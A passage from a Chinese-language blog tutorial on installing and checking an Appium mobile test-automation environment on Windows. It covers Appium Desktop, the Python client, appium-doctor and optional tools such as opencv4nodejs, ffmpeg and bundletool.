  如果輸入appium后显示:“appium不是內部或外部命令,也不是可運行的程序或批處理文件” 可以將appium安裝的路徑 如: “C:\Users\m1877\AppData\Roaming\npm”配置到系統環境變量Path中

安裝Appium-desktop

  下載地址:https://github.com/appium/appium-desktop/releases

  Appium-desktop工具其實封裝了Appium server和Node.js依賴環境。

  appium-desktop是初學者最容易上手的工具

7.python環境安裝配置

  安裝成功之後輸入命令 python –version看到如下提示即可

 

8.安裝Appium-Python-Client

  安裝此項的前提是python安裝好,並且pip安裝好

  通過命令: pip.exe install Appium-Python-Client 進行安裝。

 

  安裝后可以通過如下命令來檢測是否安裝成功。

  輸入命令from appium import webdriver” 回車,如果控制台沒有報錯,則說明安裝成功。

  如果出現如下報錯,則說明安裝失敗

  ImportError: No module named ‘appium’

  ImportError: cannot import name “webdriver”

  說明:裝Appium-Python-Client安裝后的路徑一般為:

  {Python 安裝路徑}\Lib\site-packages\appium

9.安裝 appium-doctor

  appium-doctor可以檢測Appium整體依賴環境配置情況。

  先安裝工具C:\Users\m1877>cnpm install appium-doctor -g

   在控制台輸入命令:appium-doctor 看到如下提示說明整體環境配置成功。

  如果上面某一項显示為“X”則說明相關環境沒有配置好,需要重新安裝配置。

  如果都是√表示appium環境安裝配置已經好了。

附加:(以下工具可安裝也可以不安裝,自行選擇)

 opencv4nodejs安裝

  為什麼要安裝這個,請參考:https://github.com/appium/appium/blob/master/docs/en/writing-running-appium/image-comparison.md

  首先先裝好git。

  安裝opencv4nodejs:cnpm i -g opencv4nodejs

 ffmpeg安裝

  在官網下載好

  直接解壓到目錄中,然後通過bin目錄配置環境變量

  配置好后cmd中,輸入ffmpeg -version驗證是否安裝成功

mjpeg-consumer安裝

  cnpm i -g mjpeg-consumer

bundletool.jar安裝

  下載地址:https://github.com/google/bundletool/releases/tag/0.9.0

  http://appium.io/docs/en/writing-running-appium/android/android-appbundle/

 

出處:https://home.cnblogs.com/u/erweimalaoshi/
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